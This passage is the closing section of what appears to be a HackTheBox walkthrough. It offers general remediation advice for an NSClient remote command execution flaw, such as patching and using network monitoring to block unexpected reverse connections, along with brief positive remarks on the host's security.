  • Path the NSClient application to address the remote command execution vulnerability
  • Implement a WAF or IDS or IPS if possible to detect and/or block connections that don’t match an expected baseline (e.g. block reverse TCP connections to an unknown/untrusted server that don’t match an expected/standard protocol/communication method.)

Positive remarks

  • Good progress was made towards the security of the system by disallowing remote access to the NSClient. However, as demonstrated, with valid credentials, such measures can be exploited fairly trivially
  • The overall patch level and relevatively updated state of Windows Defender is a good step towards securing the host.



All for now; until next time.


hackthebox, HTB, writeups, walkthrough, hacking, pentest, OSCP prep
comments powered by Disqus